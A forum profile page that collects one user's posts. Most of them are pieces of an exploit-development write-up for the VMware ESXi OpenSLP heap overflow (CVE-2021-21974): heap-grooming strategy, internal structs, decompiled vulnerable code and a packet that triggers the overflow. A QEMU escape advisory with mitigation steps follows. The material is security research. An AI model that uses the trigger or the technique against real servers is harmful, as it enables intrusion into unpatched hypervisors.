Jump to content

john7364

Members
  • Posts

    12
  • Joined

  • Last visited

Reputation

1 Neutral

About john7364

  • Rank
    Rookie
    Rookie

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Objectives, Expectations and Limitations This section goes over objectives required to land a successful exploitation. Objective 1 Achieve remote code execution by leveraging the heap overflow to overwrite the ‘__free_hook’ to point to shellcode or ROP chain. Expectation 1 If I can overwrite the ‘position’ pointers in a _SLPBuffer ‘recv-buffer’ object, I can force incoming data to the server to be written to arbitrary memory location. Objective 2 In order to know the address of ‘__free_hook’, I have to leak an address referencing the libc library. Expectation 2 If I can overwrite the ‘position’ pointers in a _SLPBuffer ‘send-buffer’ object, I can force outgoing data from the server to read from arbitrary memory location. Now that I defined goals and objectives, I have to identify any limitations with the heap overflow vector and memory allocation in general. Limitations ‘URL’ data stored in the “Directory Agent Advertisement’s URL” object cannot contain null bytes (due to the ‘strstr’ function). This limitation prevents me from directly overwriting meta-data within an adjacent ‘SLPDSocket’ or ‘SLPBuffer’ object because I would have to supply an invalid size value for the objects’ heap header before reaching those properties. The ‘slpd’ binary allocates ‘SLPDSocket’ and ‘SLPBuffer’ objects with ‘calloc’. The ‘calloc’ call will zero out the allocated memory slot. This limitation removes all past data of a memory slot which could contain interesting pointers or stack addresses. This looks like a show stopper because if I was to overwrite a ‘position’ pointer in a _SLPBuffer, I would need to know a valid address value. Since I don’t know such value, the next best thing I can do is partially overwrite a ‘position’ pointer to at least get me in a valid address range that could be meaningful. With ‘calloc’ zeroing everything out, I lose that opportunity. Fortunately, not all is lost. As shared in Lucas’ blog post, I can still get around the limitations. Limitations Bypass Use the heap overflow to partially overwrite the adjacent free memory chunk’s size to extend it. By extending the free chunk, I can have it position to overlap with its neighbor ‘SLPDSocket’ or ‘SLPBuffer’ object. When I allocate memory that occupies the extended free space, I can overwrite the object’s properties. The ‘calloc’ call will retain past data of a memory slot if it was previously marked as ‘IS_MAPPED’ when it was still freed. The key thing is the ‘calloc’ call must request a chunk size that is an exact size as the freed slot with ‘IS_MAPPED’ flag enabled to preserve its old data. If a ‘IS_MAPPED’ freed chunk is splitted up by a ‘calloc’ request, the ‘calloc’ will service a chunk without the ‘IS_MAPPED’ flag and zero out the slot’s content. There is still one more catch. Even if I can mark arbitrary position to store or read data for the _SLPBuffer, the ‘slpd’ binary will not comply unless associated socket state is set to the proper status. Therefore, the heap overflow will also have to overwrite the associated _SLPDSocket object’s meta-data in order to get arbitrary read and write primitive to work.
  2. _SLPBuffer All SLP message types received from the server will create at least two SLPBuffer objects. One is called ‘recv-buffer’, which stores the data received by the server from the client. Since I can control the size of the data I send from the client, I can control the size of the ‘recv-buffer’. The other SLPBuffer object is called ‘send-buffer’. This buffer stores the data that will be send from the server to client. The ‘send-buffer’ have a fixed size of 0x598 and I cannot control its size. Furthermore, the SLPBuffer have meta-data properties that points to the starting, current, and ending position of said data. //https://github.com/openslp-org/openslp/blob/df695199138ce400c7f107804251ccc57a6d5f38/openslp/common/slp_buffer.h /** Buffer object holds SLP messages. */ typedef struct _SLPBuffer { SLPListItem listitem; /*!< @brief Allows SLPBuffers to be linked. */ size_t allocated; /*!< @brief Allocated size of buffer. */ uint8_t * start; /*!< @brief Points to start of space. */ uint8_t * curpos; /*!< @brief @p start < @c @p curpos < @p end */ uint8_t * end; /*!< @brief Points to buffer limit. */ } * SLPBuffer;
  3. SLP Objects Here I will go over the relevant SLP components as they serve as the building blocks for exploitation. _SLPDSocket All client that connects to the ‘slpd’ daemon will create a ‘slpd-socket’ object on the heap. This object contains information on the current state of the connection, such as whether it is in a reading state or writing state. Other important information stored in this object includes the client’s IP address, the socket file descriptor in-use for the connection, pointers to ‘recv-buffer’ and ‘send-buffer’ for this specific connection, and pointers to ‘slpd-socket’ object created from prior and future established connections. The size of this object is fixed at 0xd0, and cannot be changed. // https://github.com/openslp-org/openslp/blob/df695199138ce400c7f107804251ccc57a6d5f38/openslp/slpd/slpd_socket.h /** Structure representing a socket */ typedef struct _SLPDSocket { SLPListItem listitem; sockfd_t fd; time_t age; /* in seconds -- in unicast dgram sockets, this also drives the resend logic */ int state; int can_send_mcast; /*Instead of allocating outgoing sockets to for sending multicast messages, slpd uses incoming unicast sockets that were bound to the network interface. Unicast sockets are used because some stacks use the multicast address as the source address if the socket was bound to the multicast address. Since we don't want to send mcast out of all the unicast sockets, this flag is used*/ /* addrs related to the socket */ struct sockaddr_storage localaddr; struct sockaddr_storage peeraddr; struct sockaddr_storage mcastaddr; /* Incoming socket stuff */ SLPBuffer recvbuf; SLPBuffer sendbuf; /* Outgoing socket stuff */ int reconns; /*For stream sockets, this drives reconnect. For unicast dgram sockets, this drives resend*/ SLPList sendlist; #if HAVE_POLL int fdsetnr; #endif } SLPDSocket;
  4. The Bug As noted in Lucas’ blog, the bug is in the ‘SLPParseSrvURL’ function, which gets called when a ‘directory agent advertisement’ message is being process. undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3) { char cVar1; void **__ptr; char *pcVar2; char *pcVar3; void *pvVar4; char *pcVar5; char *__src; char *local_28; void **local_24; if (param_2 == (char *)0x0) { return 0x16; } *param_3 = (void *)0x0; __ptr = (void **)calloc(1,param_1 + 0x1d); [1] if (__ptr == (void **)0x0) { return 0xc; } pcVar2 = strstr(param_2,":/"); [2] if (pcVar2 == (char *)0x0) { free(__ptr); return 0x16; } pcVar5 = param_2 + param_1; memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2)); [3] On line 18, the length of the URL is added with the number 0x1d to form the final size to ‘calloc’ from memory. On line 22, the ‘strstr’ function is called to seek the position of the substring “:/” within the URL. On line 28, the content of the URL before the substring “:/” will be copied into the newly ‘calloced’ memory from line 18. Another thing to note is that the ‘strstr’ function will return 0 if the substring “:/” does not exists or if the function hits a null character. I speculated VMware test case only tried ‘scopes’ with a length size below 256. If we look at the following ‘directory agent advertisement’ layout snippet, we see sample 1’s length of ‘scopes’ includes a null byte. This null byte accidentally acted as the string terminator for ‘URL’ since it sits right after it. If the length of ‘scopes’ is above 256, the hex representation of the length will not have a null byte (as in sample 2), and therefore the ‘strstr’ function will read passed the ‘URL’ and continue seeking the substring “:/” in ‘scopes’. Sample 1 - won't trigger bug: Body: bytearray(b'\x00\x00`\xa4`S\x00+service:VMwareInfrastructure:/192.168.0.191\x00\x03BBB\x00\x00\x00\x00\x00\x00') Error Code: 0x0000 Boot Timestamp: 0x60a46053 Length of URL: 0x002b URL: b'service:VMwareInfrastructure:/192.168.0.191' ****** Length of <scope-list>: 0x0003 ****** <scope-list>: b'BBB' Length of <attr-list>: 0x0000 <attr-list>: 0x0000 Length of <SLP SPI List>: 0x0000 <SLP SPI List> String: b'' # Auth Blocks: 0x0000 Authentication block (if any): b'' Sample 2 - triggers the bug: Body: bytearray(b'\x00\x00`\xa4\x9a\x14\x00\x18AAAAAAAAAAAAAAAAAAAAAAAA\x02\x98BBBBBBBBBBBBBA\x01:/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x00\x00\x00\x00\x00\x00') Error Code: 0x0000 Boot Timestamp: 0x60a49a14 Length of URL: 0x0018 URL: b'AAAAAAAAAAAAAAAAAAAAAAAA' ****** Length of <scope-list>: 0x0298 ****** <scope-list>: b'BBBBBBBBBBBBBA\x01:/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' Length of <attr-list>: 0x0000 <attr-list>: 0x0000 Length of <SLP SPI List>: 0x0000 <SLP SPI List> String: b'' # Auth Blocks: 0x0000 Authentication block (if any): b'' Therefore, the ‘memcpy’ call will lead to a heap overflow because the source contains content from‘URL’ + part of ‘scopes’ while the destination only have spaces to fit ‘URL’.
  5. SLP Packet Structure While the layout of the SLP structure will be slightly different between different SLP message types, they generally follow a header + body format. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Service Location header (function = SrvRqst = 1) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <PRList> | <PRList> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <service-type> | <service-type> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <scope-list> | <scope-list> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of predicate string | Service Request <predicate> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <SLP SPI> string | <SLP SPI> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.1) [SLP Client-1] connect Header: bytearray(b'\x02\x01\x00\x00=\x00\x00\x00\x00\x00\x00\x05\x00\x02en') Body: bytearray(b'\x00\x00\x00\x1cservice:VMwareInfrastructure\x00\x07DEFAULT\x00\x00\x00\x00') length of <PRList>: 0x0000 <PRList> String: b'' length of <service-type>: 0x001c <service-type> string: b'service:VMwareInfrastructure' length of <scope-list>: 0x0007 <scope-list> string: b'DEFAULT' length of predicate string: 0x0000 Service Request <predicate>: b'' length of <SLP SPI> string: 0x0000 <SLP SPI> String: b'' [SLP Client-1] service request [SLP Client-1] recv: b'\x02\x02\x00\x00N\x00\x00\x00\x00\x00\x00\x05\x00\x02en\x00\x00\x00\x01\x00\xff\xff\x004service:VMwareInfrastructure://localhost.localdomain\x00' A ‘service registration’ packet looks like 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Service Location header (function = AttrRqst = 6) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of PRList | <PRList> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of URL | URL \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <scope-list> | <scope-list> string \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <tag-list> string | <tag-list> string \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <SLP SPI> string | <SLP SPI> string \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-10.3) [SLP Client-1] connect Header: bytearray(b'\x02\x06\x00\x00=\x00\x00\x00\x00\x00\x00\x0c\x00\x02en') Body: bytearray(b'\x00\x00\x00\x1cservice:VMwareInfrastructure\x00\x07DEFAULT\x00\x00\x00\x00') length of PRList: 0x0000 <PRList> String: b'' length of URL: 0x001c URL: b'service:VMwareInfrastructure' length of <scope-list>: 0x0007 <scope-list> string: b'DEFAULT' length of <tag-list> string: 0x0000 <tag-list> string: b'' length of <SLP SPI> string: 0x0000 <SLP SPI> string: b'' [SLP Client-1] attribute request [SLP Client-1] recv: b'\x02\x07\x00\x00w\x00\x00\x00\x00\x00\x00\x0c\x00\x02en\x00\x00\x00b(product="VMware ESXi 6.7.0 build-14320388"),(hardwareUuid="23F14D56-C9F4-64FF-C6CE-8B0364D5B2D9")\x00' Lastly, a ‘directory agent advertisement’ packet looks like 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Service Location header (function = SrvReg = 3) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | <URL-Entry> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of service type string | <service-type> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of <scope-list> | <scope-list> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | length of attr-list string | <attr-list> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |# of AttrAuths |(if present) Attribute Authentication Blocks...\ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.3) URL Entries 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Reserved | Lifetime | URL Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |URL len, contd.| URL (variable length) \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |# of URL auths | Auth. blocks (if any) \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-4.3) [SLP Client-1] connect Header: bytearray(b'\x02\x03\x00\x003\x00\x00\x00\x00\x00\x00\x14\x00\x02en') Body: bytearray(b'\x00\x00x\x00\t127.0.0.1\x00\x00\x0bservice:AAA\x00\x07default\x00\x03BBB\x00') <URL-Entry>: Reserved: 0x00 Lifetime: 0x0078 URL Length: 0x0009 URL (variable length): b'127.0.0.1' # of URL auths: 0x00 Auth. blocks (if any): b'' length of service type string: 0x000b <service-type>: b'service:AAA' length of <scope-list>: 0x0007 <scope-list>: b'default' length of attr-list string: 0x0003 <attr-list>: b'BBB' # of AttrAuths: 0x00 (if present) Attribute Authentication Blocks...: b'' [SLP Client-1] service registration [SLP Client-1] recv: b'\x02\x05\x00\x00\x12\x00\x00\x00\x00\x00\x00\x14\x00\x02en\x00\x00' 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Service Location header (function = DAAdvert = 8) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Error Code | DA Stateless Boot Timestamp | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |DA Stateless Boot Time,, contd.| Length of URL | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ \ URL \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length of <scope-list> | <scope-list> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length of <attr-list> | <attr-list> \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length of <SLP SPI List> | <SLP SPI List> String \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | # Auth Blocks | Authentication block (if any) \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.5) [SLP Client-1] connect Header: bytearray(b'\x02\x08\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x00\x02en') Body: bytearray(b'\x00\x00`\xa4`S\x00+service:VMwareInfrastructure:/192.168.0.191\x00\x03BBB\x00\x00\x00\x00\x00\x00') Error Code: 0x0000 Boot Timestamp: 0x60a46053 Length of URL: 0x002b URL: b'service:VMwareInfrastructure:/192.168.0.191' Length of <scope-list>: 0x0003 <scope-list>: b'BBB' Length of <attr-list>: 0x0000 <attr-list>: 0x0000 Length of <SLP SPI List>: 0x0000 <SLP SPI List> String: b'' # Auth Blocks: 0x0000 Authentication block (if any): b'' [SLP Client-1] directory agent advertisement [SLP Client-1] recv: b''
  6. Service Location Protocol The Service Location Protocol is a service discovery protocol that allows connecting devices to identify services that are available within the local area network by querying a directory server. This is similar to a person walking into a shopping center and looking at the directory listing to see what stores is in the mall. To keep this brief, a device can query about a service and its location by making a ‘service request’ and specifying the type of service it wants to look up with an URL. For example, to look up the VMInfrastructure service from the directory server, the device will make a request with ‘service:VMwareInfrastructure’ as the URL. The server will respond back with something like ‘service:VMwareInfrastructure://localhost.localdomain’. A device can also collect additional attributes and meta-data about a service by making an ‘attribute request’ supplying the same URL. Devices that want to be added to the directory can submit a ‘service registration’. This request will include information such as the IP of the device that is making the announcement, the type of service, and any meta-data that it wants to share. There are more functions the SLP can do, but the last message type I am interested in is the ‘directory agent advertisement’ because this is where the vulnerability is at. The ‘directory agent advertisement’ is a broadcast message sent by the server to let devices on the network know who to reach out if they wanted to query about a service and its location. To learn more about SLP, please see this and that.
  7. Setup To setup a test environment, I need a vulnerable copy of VMware ESXi for testing and debugging. VMware offers trial version of ESXi for download. Setup is straight forward by deploying the image through VMware Fusion or similar tool. Once installation is completed, I used the web interface to enable SSH. To debug the ‘slpd’ binary on the server, I used gdbserver that comes with the image. To talk to the gdbserver, I used SSH local port forwarding: ssh -L 1337:localhost:1337 root@<esxi-ip-address> 22 On the ESXi server, I attached gdbserver to ‘slpd’ as follow: /etc/init.d/slpd restart ; sleep 1 ; gdbserver — attach localhost:1337 `ps | grep slpd | awk ‘{print $1}’` Lastly, on my local gdb client, I connected to the gdbserver with the following command: target remote localhost:1337
  8. During a recent engagement, I discovered a machine that is running VMware ESXi 6.7.0. Upon inspecting any known vulnerabilities associated with this version of the software, I identified it may be vulnerable to ESXi OpenSLP heap-overflow (CVE-2021–21974). Through googling, I found a blog post by Lucas Leong (@_wmliang_) of Trend Micro’s Zero Day Initiative, who is the security researcher that found this bug. Lucas wrote a brief overview on how to exploit the vulnerability but share no reference to a PoC. Since I couldn’t find any existing PoC on the internet, I thought it would be neat to develop an exploit based on Lucas’ approach. Before proceeding, I highly encourage fellow readers to review Lucas’ blog to get an overview of the bug and exploitation strategy from the founder’s perspective.
  9. Statement This advisory is only used to describe a potential risk. NSFOCUS does not provide any commitment or promise on this advisory. NSFOCUS and the author will not bear any liability for any direct and/or indirect consequences and losses caused by transmitting and/or using this advisory. NSFOCUS reserves all the rights to modify and interpret this advisory. Please include this statement paragraph when reproducing or transferring this advisory. Do not modify this advisory, add/delete any information to/from it, or use this advisory for commercial purposes without permission from NSFOCUS.
  10. Mitigation Remediation Recommendations Affected cloud vendors are advised to fix this vulnerability by downloading and applying patches from the following addresses: https://www.openwall.com/lists/oss-security/2020/08/24/3/1 Red Hat: https://access.redhat.com/security/cve/cve-2020-14364 Debain: https://security-tracker.debian.org/tracker/CVE-2020-14364 Workaround The following takes QEMU 1.5.3 as an example to describe how to fix this vulnerability for the time being. 1. Modify the do_token_setup function in qemu-1.5.3/hw/usb/core.c by adding two lines in the following red frame: Modify the do_parameter function in qemu-1.5.3/hw/usb/core.c by adding two lines in the following red frame: 2. Recompile the QEMU software package. Here, src.rpm is used as an example to describe how to recompile the QEMU software package: (1) Run the “rpm-ivh“ command to decompress src.rpm. (2) Modify code. a. Edit the following file (or patch file) by reference to the preceding modifications: ~/rpmbuild/SOURCES/qemu-1.5.3/hw/usb/core.c b. Edit the spec file by changing the version number and modifying the changlog description. ~/rpmbuild/SPEC/qemu-kvm c. Run the “rpmbuild -ba ~/rpmbuild/SPEC/qemu-kvm” command to generate the RPM package. 3. Perform the upgrade. After the update package is obtained, users need to apply it for the current QEMU software on the host and do a hard restart (if service disruption is not allowed, you should ask R&D personnel for the hotfix solution).
  11. Scope of Impact Affected versions Qemu 1.x – 5.1.0 Note: The prerequisite for triggering this vulnerability is that a VM needs to connect to at least one USB device. Check for the Vulnerability Version Check Users can use the following commands to check the current QEMU version: kvm-version qemu-img-V If it is one of the affected versions, the application is vulnerable.
  12. On August 24, QEMU released a security patch to fix a VM escape vulnerability (CVE-2020-14364) which is the result of an out-of-bounds read/write access issue in the USB emulator in QEMU. This vulnerability resides in ./hw/usb/core.c. When the program handles USB packets from a guest, this vulnerability is deemed to exist if USBDevice ‘setup_len’ exceeds its ‘data_buf[4096]’ in the do_token_in and do_token_out routines. An attacker could exploit this vulnerability to cause out-of-bounds read of the 0xffffffff contents following the heap, forcibly terminating the virtual process and realizing VM escape. An attacker with access to a VM operating system in the cloud environment could exploit this vulnerability to gain host privileges to target all tenant hosts within the resource pool that holds the VM. Worse still, the attacker, with his or her gained intranet privileges, could attack systems within the management domain. QEMU (short for quick emulator) is an analog processor written by Fabrice Bellard and others to distribute GPL-licensed source code. It is an underlying commercial component used by numerous cloud vendors. This vulnerability affects most cloud vendors that use OpenStack. Users are advised to take precautionary measures as soon as possible to fix this vulnerability.
×
×
  • Create New...